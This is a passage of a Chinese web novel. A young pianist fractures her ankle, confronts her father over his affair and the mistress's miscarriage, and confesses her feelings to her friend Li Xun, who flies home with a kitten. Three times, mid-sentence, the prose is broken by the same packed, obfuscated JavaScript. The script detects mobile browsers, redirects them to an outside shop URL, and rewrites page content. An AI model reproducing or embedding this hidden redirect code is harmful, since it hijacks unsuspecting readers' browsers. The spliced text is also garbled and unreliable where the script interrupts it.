所以知道这双手的价值,也掺杂了对自身未能继续的梦想的投射,对才华的珍惜。 去医院的这条路绿化做得很好,色彩繁复,以流泻的姿态、辅以规整的瀑出,像梁初灵,也像很多人。 其实她很喜欢坐这样的车,干净整洁到难以置信。 没有装饰没有娃娃没有靠垫没有香薰没有祈福带没有音乐,很少见,比这种车更少见的是车的主人的身份,比这些都少见的是她的身份和车主人的身份和这种车竟然都集齐。 梁初灵觉得自己是不是在梦游。 直到医生捏她的痛处,被痛回了神智。 挂号,缴费,拍片子,等结果。 整个过程,两人几乎零交流。 女人显得比她还紧张,时不时看她一眼,欲言又止。 诊断结果出来是左脚踝轻微骨折,需要打石膏固定,至少得休息一周。 梁初灵坐在诊疗室里,看着医生给她打石膏,女人站在旁边,手里拿着她的病历本,小声说:“对不起,要是我没去你家,你也不会摔。” 梁初灵摇摇头:“跟你没关系,是我自己不小心。” 她突然想起碇真嗣,每次遇到使徒,好像都是因为各种意外。想到这里,她又想到李寻,那部漫画还是他抽出来带进了她的世界。可惜那次书店之后她没再继续看过。 打好石膏,女人又开车把她送回家。 车停在别墅门口,两人坐在车里,气氛尴尬。 “医药费多少钱,我转给你。”梁初灵先开口。 女人摇摇头:“不用了。本来也是因为我。” 梁初灵没再坚持,她拉开车门,单脚蹦下车,扶着车门站稳。 “谢谢你送我去医院。”她说。 女人也立刻下车,把梁初灵扶进客厅,路上又说了句对不起。 梁初灵到了家挣扎着坐下,女人站在客厅中央,看到了墙上挂着的全家福,照片里梁父搂着妈女士,梁初灵站在中间,笑得一脸傻气。 “你们看起来很幸福。”女人带着点自嘲,“对不起你。我知道,我知道这样很难看,找到你家里来。我不是想来闹事,我只是找不到他了。所有联系方式都断了,像人间蒸发一样。” 她看着梁初灵,声音带着颤抖的诚恳:“找工作很难。认识他的时候,他说会帮我,说欣赏我的能力,他说他婚姻不幸福,早就分居了,只是为了孩子才维持表面。我不是想破坏你的家庭。我只是想要一个说法。不要这样莫名其妙的消失。对不起,我不该来找你,我不该对你说这些,你还这么小。” 梁初灵别开脸,没接话,觉得这个女人有点可怜,跟妈女士不一样,妈女士是知道一切还能笑着敷衍,这个女人好像还蒙在鼓里,以为梁父会跟她怎么样。 “他不会跟你怎么样的,他以前也跟别的女人一定也说过同样的话,一定最后都不了了之。” 女人眼睛里的红更明显:“你怎么知道?” 梁初灵说得轻描淡写:“我是他女儿,我了解他。他的话你别信。他也知道你小时候学过钢琴又中断的事吧?可他没有送你去继续学琴,只是磋磨你。” 这话太难堪,但梁初灵不想让她、让这场面难看,又问:“你叫什么?我叫梁初灵。” —— 空闲时间多了出来,梁初灵开始搜索《EVA》,之前李寻买给她的漫画她还没看完,现在正好有时间,索性把动画看了。 看到第三集,碇真嗣因为害怕,想逃离NERV,被葛城美里拦下来。葛城美里说:“不能逃,逃了就什么都没有了。” 不能逃。 这三个字好危险,能绑缚住人的手脚,也能解开虚无。 想起李寻跟她说这个故事讲的是“不要逃”,原来其实是“不能逃”。 实在是差之毫厘谬之千里。 李寻太过善良,总是不愿意太强势,“不要逃”,多么恳切,多么劝慰,像一场告解。 “不能逃”,只有危险和笃定,可是更适合梁初灵。 不能,不能,不能逃。 看到很晚,手机突然震动,又是李寻发来的消息:“我手机好像掉了,你给我打个电话试试。” 梁初灵不明就里,打了一个微信电话过去,李寻秒接:“找到啦,谢谢小天才。” 梁初灵才反应过来这个借口有多荒谬,自己居然信了。 她冷笑:“呵呵。” 李寻半点不在意,继续问:“你今天一天没回消息,没事儿吧?我听你嗓子怎么有点哑?今天有喝够水吗?” 梁初灵腿疼不想动,开始鬼扯:“喝够了。没事,可能有点感冒。” 李寻担心:“生病了怎么不讲,也怪我没问……感冒严重吗?有没有吃药?我给你点个橙汁外卖好不好?猕猴桃吃不吃?打电话是不是打扰到你休息了?” 梁初灵突然有点想落泪。 动画片放到终极的懦弱,终极的绝望,无法承受个体存在的孤独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730792|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和痛苦,所以选择回归无差别的子宫。 可是即使充满痛苦,即使会被伤害,我的存在,和你的存在,是独一无二的。掐住喉咙的触感,是证明我还活着的方式。 哪怕这份存在如此不堪。 每个人都有自己的使徒,都要自己去面对。 这些都需要她自己去面对。 真的是不能逃。 —— 骨折让梁初灵不得不让出与来访的俄罗斯钢琴大师的合作演出机会,那是她崇敬已久的女钢琴家,以诠释肖邦时钢铁般的柔情著称。 演出那天她还是去了演奏厅,替掉她的那名男钢琴家弹得不够好,这让梁初灵更加难受,她不想让那位俄罗斯大师觉得华人钢琴家不过如此。 掌声像细针,扎在她心口一种名为遗憾的陌生地方。 提醒她命运如何因一场闹剧般的意外而偏移。 骨折这件事,梁初灵一直没告诉李炽和李寻。 前者是因为没必要,视频课一周一次是能够照常的,影响不大。后者是她不想让李寻担心,也不想让他觉得自己很脆弱。 李炽没发现异常。李寻看她一切如常,也就没多想。 向老师请了假,梁初灵过上了规律的生活。白天大部分时间练琴,练累了,就瘫在沙发上背单词,或者看谱子。 也会拄着一根拐在小区里走一走,不想让体能下降太多。练琴耗费体力,比赛更是对身体素质的考验,她不想输在这种事情上。 有人在小区里一边遛弯一边唱七里香,风把歌唱者的声音吹过来又吹过去,于是嗓音显得清透一时接着厚重一时,晃晃悠悠。 不像是唱歌的人,像是跟唱的人,唱到自己会的部分,像吃面条一样哧溜着这歌就出来了,到了不会的部分,就只能拍拍手,像吃下午茶一样轻柔和缓的一勺一嘬。 她在小区的下沉花园,回家要从下往上登台阶,她一级一级的登。 风掀起她的衣角,远处的七里香不知何时换成了送别,跑调的旋律混着小区外面街道上救护车的鸣笛,高音时像猫抓纱窗,低下去又成了老唱片卡带,间或夹着拍手声,像有人在给空气打拍子,一同铺成一条河。 梁初灵恍惚觉得自己像在电影院,因为来迟所以听着影片的配乐着急的一排一排找座位,而观众已经在为精彩剧情鼓掌。 她十来年的人生一直自认为是主角、想当主角、只考虑主角,此刻回归观众,还是迟到的观众,让她觉得有些心烦,任何情绪都带着错位的钝感。 回家时在大门口再遇林佳妮。 一股荒谬的疲惫感涌上来,梁初灵有点无语:“你不用再来了,我爸不会回家的。你等也是白等。” 林佳妮吓了一跳,连忙摆手:“不是的,我不是来找梁先生的。我是来给你送这个。”她将手中的大帆布袋递过来,“是一些对骨骼恢复有益的补品,还有一些膏药,我是安徽人,我家就是做中药材的,这个膏药贴很好用,你用得上。” 梁初灵有点迷茫,觉得空气也愣愣的,不会自主进她的鼻子,需要她格外用力去呼吸。 又开始仔细看林佳妮,她穿着过于宽松的长裙,仿佛想将整个人都藏进去。动作也过于小心翼翼,将袋子递过来时,手还护了一下小腹。站姿微佝,不像是习惯性的,像是腹部核心无力,需要蜷缩来缓解某种不适的姿态。 上次见面是一周前,林佳妮那会儿脸上打了底,这次应该是什么也没化,脸苍白,唇色也很浅,有些发干。 她将手伸过来—— 李寻的手接过店员递过来的餐品。一位年轻女性也端着餐盘从旁边离开,身体却不受控制晃了一下。李寻反应快,扶住了她。那个女性穿着宽松衣物,摁住了自己的小腹。 李寻看着女性额角细密的冷汗,强忍不适的眼神,用自己的热红茶换走了对方的冰可乐,说:“抱歉冒昧,您现在是不是不太适合喝这个?” 女性道谢后匆匆离开。 对方离开后梁初灵好奇追问李寻,她是来月经了吗? 李寻轻声解释,怀疑是流产不久,她脸色太差,身体重心不稳,用不上力,摁住小腹是本能,而且步伐很小,在规避可能的牵扯。 梁初灵当时觉得不可思议:“这你也能发现?” 李寻一边很轻的说着有过一次这件事的经验,一边把冰可乐递给梁初灵—— 梁初灵接过大帆布袋。 林佳妮强撑的虚弱,与记忆中那个女性的身影重叠。 让她脱口而出:“你流产了?我爸的孩子?” 林佳妮如被雷击,哆嗦着:“你怎么知道的?!”这句话等于承认了一切。 梁初灵看着她,突然生气,并不是气梁父,也更不应该气林佳妮。她不知道应该气谁。 可能气为何总是女人在承受这些后果。 她不知道该说什么,呼吸也困难。 17. 《儿童乐园》 五月二十号,周三,梁初灵的生日。 脚上的石膏再过几天就能取,她单脚蹦到餐厅,吃张姨给她准备的长寿面。 手机响了,是梁父。 距离林佳妮上门已经过去一周多,他终于回拨了这个电话。 梁初灵面无表情地接起来。 “初灵,生日快乐。爸爸最近太忙了,礼物回头给你补上。” “嗯。” “前几天是不是有人去家里找我了?” “嗯。” “是个不懂事的。你别往心里去。爸爸已经处理好了。她不会再出现在你面前。” “她找到家里,我摔了一跤,脚骨折了。那天我打你电话你不接,后来我又给你打你还是不接。”梁初灵说的时候其实语气平和,毫无指责之意,只是讲述事实。 “你怎么这么不小心,她找你麻烦你不会报警?不会叫保安?这么大个人了,一点处理事情的能力都没有。行了,事情过去了。以后这种不三不四的人,直接轰出去。”梁父却觉得被踩了尾巴。 梁初灵没说话,等着他的未竟之语。 梁父果然像是被玷污了清誉一样迟来为自己辩解:“这种女人,就是个神经病,缠上我了,甩都甩不掉。给脸不要脸的东西。拿着点鸡毛当令箭,妄想登天。什么货色,居然敢找到家里去。” 喋喋不休地数落,用词刻薄,将所有的过错与不堪都推卸到那个他或许曾经也温言软语对待过的女人。 他又迅速放轻放柔,总归要当一个好爸爸。 近乎推心置腹,“你知道吗,爸爸有时候也很累。外面应酬难免逢场作戏。但家永远是家,你永远是我的女儿。这些外面的莺莺燕燕,不过是玩意儿,过了就忘了。你还小,不懂这些。” “我懂啊。我怎么不懂。我懂什么叫虚伪,什么叫懦弱,什么叫敢做不敢当。”梁初灵脑子里林佳妮那张美丽柔弱的脸,快速变得蜡黄疲惫,她不知道为什么觉得怒不可遏,想要狠狠刺伤电话对面那个男人。 电话那头静了一下,随即恼羞成怒:“梁初灵!你怎么说话的?我是你爸!我供你吃穿送你学琴,是让你用这种口气跟我说话的?没有我你能有今天?一个垃圾也值得你跟我生气?” “是啊,没有你,我没有今天。”梁初灵重复着这句话,“垃圾?谁是垃圾?最垃圾的难道不是你?你的所作所为,还不够证明你自己是什么吗?出轨,欺骗,懦弱,敢做不敢当,现在还要靠辱骂女人来显得自己清白?” 梁父彻底撕下了伪装,粗鄙不堪:“混账东西!谁教你的这些混账话?啊?是那个贱人教你的?还是你妈?我生你养你,早知道你是这么个六亲不认的东西,当初就不该——” “不该什么?也没有早知道。”梁初灵截断他的话,心口被捅了一下,但流出的不是血,“需要人教吗?看着你不就什么都学会了?学会如何道貌岸然,学会如何推卸责任。我有时候真的很想知道,你会不会,哪怕有一秒钟,觉得自己,令人作呕?” 对面有牙齿咬得咯咯作响的声音。 “好……好……好!”他一连说了三个好字,“梁初灵,你真是我的好女儿,我花钱培养你,给你最好的,就是让你今天拿着刀往你老子心口上捅?你以为你是什么东西?没有我你什么都不是!你的钢琴,你的天才梦,全都是我用钱堆出来的!腿摔了?信不信我一句话还能让你从云端摔下来,摔得比现在还惨?” 梁初灵听着:“是吗?那你最好快点。” “哈,没有我的签字和资金证明,你哪儿也去不了。还有你妈,你妈那些投资,那些靠我的关系网才运作起来的生意,经得起查吗?你真要闹,我先让你妈进去!你看看到时候,你是能弹着钢琴去探监吗?” 她不等他再咆哮,直接挂断电话。 不难过。一点也没有。 低头看自己胸口,没有东西流出来,但是她知道自己的心脏已经被替换掉了,现在替换成了一颗报复心。 她想提刀。刀锋要淬炼得锋利,寒光凛冽。 刀锋所向,斩断所有试图束缚她的枷锁,劈开所有令人作呕的虚伪。 电话再次响起,是妈女士火急火燎地打了进来。 “宝贝,你跟你爸说了什么?他刚才打电话过来把我劈头盖脸骂了一顿,要停了我所有的卡还要查我的账!你怎么回事呀?他那个脾气你又不是不知道,顺着他几句不就完了?你不能逼死妈妈呀。硬碰硬多划不来,到时候吃亏的还是你。小不忍则乱大谋懂吗?” 见女儿不说话,妈女士叹了口气:“初灵,妈妈知道你委屈。但他是你爸爸,是这个家的顶梁柱。我们女人,有时候要懂得示弱,要顺着毛捋。你跟他硬碰硬,把他惹毛了,吃亏的是谁?听话,去给他打个电话道个歉,就说你刚才心情不好,胡说八道的。把他哄高兴了,什么都好说。你想要什么生日礼物,妈妈给你买。” 想要什么,她只想要磨快她的刀。 客厅落地窗里突然折出一片好阳光,梁初灵诧异地看,阳光被她看得越来越亮。 门铃又响。 梁初灵眼神一顿,还来? 张姨去了顶楼晒被子,她单脚蹦到门口,从猫眼往外看。 这一看,她愣住。 门外站着的人,是李寻。 他穿着简单,风尘仆仆,带着远方的气息。 脚边有一个奇怪的双肩包,头发被风吹得有点乱,五月的阳光毫无保留淋在他头上身上,像是给他穿了层毛茸茸的衣服。 他手上拿着一束花,红色小朵,叠簇,显得拥挤。 四周突然变成剪纸画,只有黑白两色,风吹得欢快,连风也变成剪纸,波浪一样的纹样,风如水。 黑白世界里,只有李寻是彩色的,他简直像是闯入,鲜活的他闯入这个剪纸世界,有钢琴曲为他响起,《儿童乐园》,音乐也成剪纸,音符道道可见痕迹,乌黑的太阳在头顶,阳光像淤泥一样沉积,只有他澎湃。 梁初灵几乎以为自己出现了幻觉。 他不是应该在地球另一端准备上课吗? 他放弃了自己的世界,闯入了另一个世界。 闯入者的结局都是什么?都会离开吗? 如何留下他。 挂断电话,再猛地拉开门。 实在太好的日光,这样好的日光在影像中却往往只能属二流的光。 日光从外射入内,将梁初灵的身影拉得细长,是一把被遗弃在地上的刀,却又清醒得天荒地老。 在光中和在黑暗中无差,眼睛都需要逐步适应,过亮,眯了一会儿再睁开,梁初灵才甘美的重新看见李寻。不安分的风,把李寻刮得噼啪作响。 脚踝的石膏提醒着她的狼狈,而胸口那颗新生的心在剧烈搏动。 李寻看不清梁初灵的脸,只好走到她的正面前挡住光,这才得以看着她。 眼神从上到下扫过,梁初灵穿着短袖,脖子上的吊坠藏无可藏,他有点颓然,再落在她左脚的石膏上,表情没有太意外。 眼神里带着长途飞行后的疲惫,却在看到她的一瞬间,聚焦,再漾出笑。 梁初灵刚拉开门,一只手就扶住了她的胳膊,力道恰到好处,仿佛她本人是那颗原始的心,而他是唯一知道如何捧住的人。 “小心点,别又摔了。”他声音因为疲惫有些哑。 李寻扶着她胳膊的手没有松开,把花放在地上,空出另一只手贴上她额头。 皮肤像在接吻。 梁初灵被他这一连串行云流水的先发动作弄得怔在原地,他的手很凉,与她因情绪激动而发烫的脸形成对比。 探了探她额头温度,确认没有发烧迹象,只有情绪翻涌后留下的红潮。李寻这才松了口气。 “我……我不是……”梁初灵开了个头却说不出话,还有点哽咽,她觉得丢脸,索性不再看他。 他却看着她:“别的事都不重要,我先看看你好不好。” “你……你怎么回来了?你怎么知道我在家啊?”梁初灵的恢复向来很快,又指了指地上的花,“这是什么花?” “问了你们学校的人。”李寻言简意赅,显然是先去了附中,没找到人,打听了一下就知道了她骨折请假的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734616|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这是石榴花,开在五月的花,路过花店看到的,感觉很像你。” 梁初灵没有让他进屋,反而自己扶着门框向前蹦了一小步,几乎与他呼吸相闻。 她仰起脸,脸上是冰冷的诱惑—— 但李寻刚好没看她。 李寻弯下腰,让她随着他的动作去看他脚边那个双肩包,里面有东西在动。 把双肩包完全拉开,垫子上蜷着一只小狸白,是糖炒栗子店门口纸箱里的那只。 小猫刚睡醒,懵懂抬头,望着梁初灵,细声细气叫了一声。 梁初灵竟然觉得很困,四面八方的声音有些立体环绕的效果在,将她整个人包裹住,像一个茧。 她看着李寻,看着他平静温和的脸,看着他特意从异国他乡飞回,还记挂着这只有一面之缘差点无处可去的小猫,并把它带到了她面前,看向那束花,真是很漂亮的一束花,来得刚刚好的一束花,此时正需要一束花。 有瞬间的暖意,但还有一种骤然升起的占有欲和控制欲。 在她如此时刻,他带着这样一种近乎笨拙的温柔出现。 他太好了。 好得像一个精心设计的陷阱。 又想起,我们曾经一起经历过世界末日啊,李寻。 梁初灵看着他,这一周积压的所有情绪,在这一刻一起爆发,让她觉得自己狼狈又落魄。 像一个被使徒轰碎了AT力场,暴露着脆弱核心的EVA。 她急需什么来证明自己并非孤身一人处于这片心灵荒漠。 突如其来,起心动念,不假思索。 心脏在胸腔里跳动。 她不想要再独自面对。 人在失意时,会疯狂想要抓住爱,爱,多么完美的救命绳索。 不能逃。 她看着李寻,阳光在他身后,把他照得像个拯救她的英雄。 她觉得她爱他。 可内心深处一个声音在说:你真的爱他吗?还是仅仅爱他带来的平静和此刻的拯救? 那颗新的心脏在疯狂跳动。 没等李寻说话,梁初灵抢先开口,像孤注一掷的赌徒:“李寻,我喜欢你。” 李寻明显没预料到这个开场。 梁初灵不给他反应的时间,一股脑地把话倒出来,怕慢了一步自己就会后悔,或者被他看穿这告白底下不够纯粹的动机,她步步紧逼:“我决定要去柯蒂斯,你今年也申请好不好?等我们一起上学了,就谈恋爱好不好?” 梁初灵几乎能感受到他呼吸的停滞,“你不是问我好不好吗?我不好,李寻。我很不好。但如果你在,如果你答应,我就能好起来。” 她把一起申请上柯蒂斯当作一个条件,一个缓冲,一个将她此刻汹涌的混杂的情感合理化的借口。 将在一起设定为一个需要共同达成的目标,是一个她要他加入的由她主导的游戏。 她需要他加入,需要他的平静来中和自己的混乱,需要他的存在来驱散她的孤独,需要把他绑在自己身边,成为她对抗这个荒诞的同盟。 是有喜欢的,是有的,梁初灵恐怖地想,真的有。 难道掺杂了太多因落魄而生的渴求,因脆弱而生的依赖的喜欢就不是喜欢吗。 它是。它是。它是。 阳光流淌着,李寻的影子在地上轻轻摇晃。 小猫在背包里又轻轻叫了一声。 李寻看着她,那眼睛里面有什么,他看得分明吗? 他往前走了一小步,伸出手,没有碰她,只是拂开了她额前一缕发,动作温柔得近乎怜悯。 李寻笑了,不激动,而是一个非常非常温柔的,纵容的笑容:“好。” 仿佛早就知道她会这么说,仿佛早就做好了接住她这一切的准备,包括她这份告白。 梁初灵听着那一个字,一直紧绷着的神经倏地松了。 强撑的力气泄去,换来一股滚烫的又带着点卑劣庆幸的暖流。 她没逃。 她绑住了她此刻最需要的人。 这是不是另一个人类补完计划式的选择。 18. 《降D大调前奏曲》 梁初灵单脚站着,一只手扶着门框,一只手扶着李寻,脑子还是有点转不过弯。 脚踝隐隐作痛,提醒着她现实的狼狈。 低头看了看自己的左脚,又抬头看反光里那个头发乱眼眶红、表情茫然的自己。 刚才拉着人一起下地狱的勇气,只剩下摇摇欲坠的尴尬。情绪来得汹涌,退潮后留下的沙滩总是泥泞和难堪。 只好抽出扶着李寻的那只手转而指了指猫,意为问这是怎么回事。猫是个好东西,是完美的缓冲带,是尴尬时刻的救世主,是转移话题的最佳道具。 “送你的生日礼物。”李寻说,“早上回来后又去了一趟那家店,猫还在,也没有人愿意领养。老板月底就要走了,猫只能去流浪,我想了想只好带回来。” 他进屋,把梁初灵扶进来坐下,再把小猫也放到沙发上。猫在沙发上蜷成毛球,眼睛圆溜溜,爪子藏在肚皮底下,尾巴尖还轻轻晃。 梁初灵和猫坐在一起有点紧张,从沙发上挪到了茶几上坐。 阳光从窗户照进来刺得慌,密不透风,把十七岁的梁初灵裹在中央。 今天早上明明还是有雾霾,并不见阳光,让这座北方城市无限接近课本里形容的江南,雾气可以挡住不远处的所有前方,道路可以被遮挡,那也就无所谓正路与歧途。 树叶在风中抖落露珠,有一滴砸下,砸出漫漫骄阳。 李寻蹲在沙发旁,左边是梁初灵,右边是沙发上的猫,他用指尖逗猫下巴。 梁初灵高兴是真的,惊慌也是真的,“它谁养呀?我养不了。” “我养。”李寻接。没停手,还在逗猫。 梁初灵更不解:“你送我的礼物,你要带去美国养?” 这逻辑是不是有点问题? 李寻抬起头看她,眼神平静:“我不去美国了。” “啊?”梁初灵彻底愣住。想从他眼睛里面找出点玩笑的痕迹,他明明上周还说,美国那边有个钢琴大师课想参加。 “这次回来就不走了。”李寻重复了一遍,“等我们一起申上学校了再一起走。” 梁初灵脑子嗡嗡的。 情绪回笼,巨大的惊吓过后,惊喜还没来得及冒头,压力就先一步占据高地。 她可以主动去绑架,可以去利用,但她没想过要对方付出如此具体的牺牲。 怎么办?对他说“哈哈刚才我开玩笑的,你千万别当真,快回你的美利坚继续当你的天才少年吧”? 她说不出口调侃,不得不认真:“你不要为了我放弃更好的资源更好的环境。美国那边还有那么多大师课、音乐会……” 话没说完,但意思很明显:你别冲动,别让我背负这么沉重的心理负担。 李寻完全明白她那些弯弯绕绕的心思。没急着辩解,也没说什么肉麻话,手还在轻轻挠小猫的下巴。 “别担心。”他声音里带着一种让人安心的平稳,“我本来就是这样打算的。” 梁初灵又:“啊?” 啊完再喃喃问,“那李炽老师知道吗?” 李寻眼里浮现淡淡笑意,驱散了空气里的严肃:“别担心。我妈什么性格你还不了解?她在美国的学生够多了,少我一个不少。我前段时间就跟她谈过,说想回来待一段时间。她说在哪都一样,甚至觉得或许留在更能触动我的环境里,对音乐本身更好。” 我不会告诉你,其实你才是这“环境”。 梁初灵点点头,李炽自己就是个不按常理出牌的人,对儿子更是奉行野生放养,只要不违法犯罪,不耽误正事,人生选择随他高兴。 可这不意味着她会轻易同意儿子放弃国外显然更优越的音乐环境和教育资源,就为了,就为了…… 小猫厌倦了沙发的柔软,突然跳下来,踩着坐在茶几上的梁初灵的石膏爬到腿上,找了个位置蜷起来。 猫毛轻柔地蹭在她手上,梁初灵却觉得心里沉甸甸。 小猫好像感觉到了她的情绪,用头蹭了蹭她的手。梁初灵把猫抱起来,贴在脸上,猫身上的温度很暖。 李寻看向梁初灵,眼神坦然:“所以,真的不是临时起意,更不是为了你——单独做的决定。” 梁初灵盯着他看,其实她并没有被说服,留在国内,无论如何在资源和机会上都会比直接在美国要吃亏。但她太需要这个理由,太需要把自己从愧疚感里解救。 她勉强自己相信了这个说法,“那好吧。” 气氛缓和下来。 李寻没再提美国的事,只指着小猫:“它很乖,不挠人,也不吵。现在四个月,是母猫,今天已经打了第一针疫苗。我养在我家,你想它了就来看它。”抬眼看向梁初灵,眼睛里漾开浅浅的笑意,“也可以来看我。” 梁初灵还是不敢往下想,只觉得心跳得有点快,脸颊也烫。只能把注意力完全放在了猫身上,让话题彻底回归安全区。 她低头贴着小猫:“那它叫什么?” “你取。”李寻把命名权交给她。 梁初灵看着小猫狸白相间,又想起初遇它的那个傍晚:“糖炒栗子。” 李寻挑眉,觉得好玩儿。 “平时就叫它栗子。”梁初灵补充。 “好,栗子。”李寻没意见。 —— 李寻的这个决定,的确不是一时的头脑发热。是在太平洋彼岸经过那么多个寂静夜晚的发酵,最终酿成的抉择。 在美国的日子,物理距离是磨刀石,将他内心深处那些模糊不清的情愫磨得锋利而清晰。也认清自己不想再在梁初灵的任何经历中错过,他明晰,所以才说:“我有点不习惯。” 他早就察觉到自己对梁初灵的不同,只是相隔千里之后,这种不同开始变得无法忽视。 有一天他打开手机相册找乐谱,却发现相册里几乎所有的照片都跟梁初灵有关。 打开备忘录,也都是关于她。 打开音乐日记,也还是有她。 并不惊讶,反而有种尘埃落定的归属感。 这个归属感很久以前就存在,只是被他刻意忽略。 因为不可置信,不是不敢置信。 不可置信在于,归属感是否是幻觉。 格里格、拉赫玛尼诺夫、舒伯特、贝多芬……都可以用不同的旋律和情感为此做注做答做解。 李寻听过很多次,也思考过很多次。对他而言,这种感觉既轻又重,不属于任何固定的人和情感。 它飘扬在风中,听起来是如此自由,绝无可能和归属二字相关。 摇荡、漂浮、席卷而过。 李寻被掀起波涛,不复悠然。可是他却在动荡中感受到了归属。 风是无法被定型的,可是谁能拒绝风,在围困中谁又不曾去渴求过风。 那就留在风中吧,不要再费力探寻灵魂的形状。 他需要重新定义他和她的关系。是继续安全地停留在朋友的边界内,做一个温和的旁观者?还是冒险向前一步,踏入那片由她主导的可能狂风暴雨也可能晴空万里的领域。 其实直到回来之前,他都还没想好答案。 所以没料到先冒险迈出一步的是梁初灵。 那一刹那想起的却是另一件事,当初梁初灵送他的那首生日礼物,他因为太过喜欢所以一直没有讲话,梁初灵告诉他:“喜欢要说在最前面。” 她的确不变,的确是把喜欢说在最前面。这很好。 敏锐的他已经捕捉到了那份不纯,觉察到她横冲直撞的企图心。理智告诉他,应该等一等,应该让她冷静。 但他没有。他意识到已经厌倦永远做一个冷静的旁观者。 所以他承接了下来。梁初灵想干什么就干什么吧。 他想看看,当她混乱的世界平息,当她的落魄成为过去式,她看向他的眼神里,是否会生出纯粹的心动。 —— “走吧,”李寻站起身,朝梁初灵伸出手,“带栗子回它新家看看,顺便认认门。以后想它或者想别的,随时欢迎。” 梁初灵看着他伸出的手,骨节分明,是一双很适合弹琴的手。 她犹豫了一下,把自己的手放了上去,李寻微微用力,将她从茶几上拉起来。 栗子似乎知道要去新地方,跟在两人脚边。 一进李寻家,栗子就四处探险,选中了客厅阳光最好的一块地方,躺下开始舔毛。 “还挺不拿自己当外人。”梁初灵评价。 “随主人。”李寻放下东西,去厨房倒了杯水递给梁初灵,又去看她打着石膏的脚,“走了这么一段,疼不疼?” “还好。”梁初灵接过水。 李寻给栗子点的罐头、猫粮、猫砂,和给梁初灵点的牛奶、哈密瓜一起送达。回国后先去了趟学校,再去那家店看猫接猫,没来得及回家,这儿现在什么都没有。 栗子很兴奋,梁初灵给栗子拍了几张照。 李寻在她旁边的沙发上坐下,客厅里很安静,梁初灵眼神开始悄没声飘向旁边的李寻。 他低着头,睫毛垂下。 “看够了?”李寻忽然开口。 梁初灵像被踩了尾巴的猫,立刻收回视线:“谁看你了谁看你了!我在看栗子!” 碰巧,栗子也的确爬上了沙发。 “嗯。”李寻直直看向她,带着戏谑,“栗子好看吗?” 梁初灵:“……李寻你烦不烦!” 李寻笑了起来,突然伸手。梁初灵往后缩了一下。 他的手却只是掠过她耳侧,摘下一根沾上的猫毛。 “有毛。”他捻着猫毛在她眼前晃了晃,眼神无辜。 梁初灵觉得自己被他耍了,有点气恼。 李寻又靠近了一点:“我们已经有过约定了,对吧?” 没说明是什么约定,但两个人心里都明白。 梁初灵强装镇定:“所以呢?” “所以,你看我,我很欢迎。” 梁初灵梗着脖子:“我都说了谁看你了!” “哦——”李寻拉长声音,恍然大悟般点点头,“哈密瓜甜吗?” 话题转得太快,梁初灵点头:“甜。” —— 李寻在飞机上无法休息,回到家神魂归位,安顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740436|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好猫逗抚完梁初灵,才在沙发这头睡着。 梁初灵是先发现栗子睡着,小猫肚皮随着呼吸轻轻起伏、呼噜声小小。 因先前被抓偷看李寻,以至于后来刻意撇清嫌疑不去看他,紧盯栗子,给猫盯得要炸毛,猫小小,心眼也小小,炸毛不成直接睡过去。 这才拿眼神悄悄往边上旋了一圈,假装活动眼睛。然后定住,不知道他睡过去多久了。 梁初灵盘腿坐在地毯上,静静看着他。 他大概是真的累了,长途飞行,时差颠倒,回来后马不停蹄。 此刻他闭着眼,脸色很白,导致脸上有根不知道是谁掉落的碎头发看起来像裂痕。 一定是我的头发,梁初灵确信。 李寻长得真好看。 这个念头冒出来就听话的及时打住,但梁初灵的脑子停不下来。 她的成长环境缺乏健康的情感模板,导致她倾向于用处理项目的方式来处理关系。 一个项目需要有目标——在一起、 有计划——申请学校、 有里程碑——一个关键节点。 她害怕任何脱离她掌控的事情,因为那会让她回想起无助,孩子般无助。 她只相信结果,相信那个被她提前准备后得到的结果。 无法享受关系自然流淌循序渐进的过程之美,总想抢跑,直接跳到那个她认为的终点。 梁初灵看着李寻,沉甸甸的感觉又浮现。 他为她留下,放弃了显而易见更好的选项。是一份过于贵重的礼物,让她无所适从。甚至感到负累。 她习惯于通过提前准备和绝对掌控来应对世界,可李寻的付出,超出了她所能准备和掌控的范畴。 他喜欢我吗? 这个问题被她立刻压了下去。这问题太奇怪。 不喜欢怎么会做这些,逻辑上完全不通。 可以用讲求因果的思维,来安抚内心因欠人情而产生的不安。 可情感不像解题,得出答案并不能让她完全安心。 那我喜欢他吗? 这个问题其实不那么重要。 等待是煎熬且充满风险的。 梁初灵需要凭证,需要将抽象的喜欢具象化,需要一次成功的预演来确认这个关系项目正在按预期推进,甚至需要提前支付一些甜头,来平衡她心中那本账册,以确保关系按计划发展,减少不确定性。 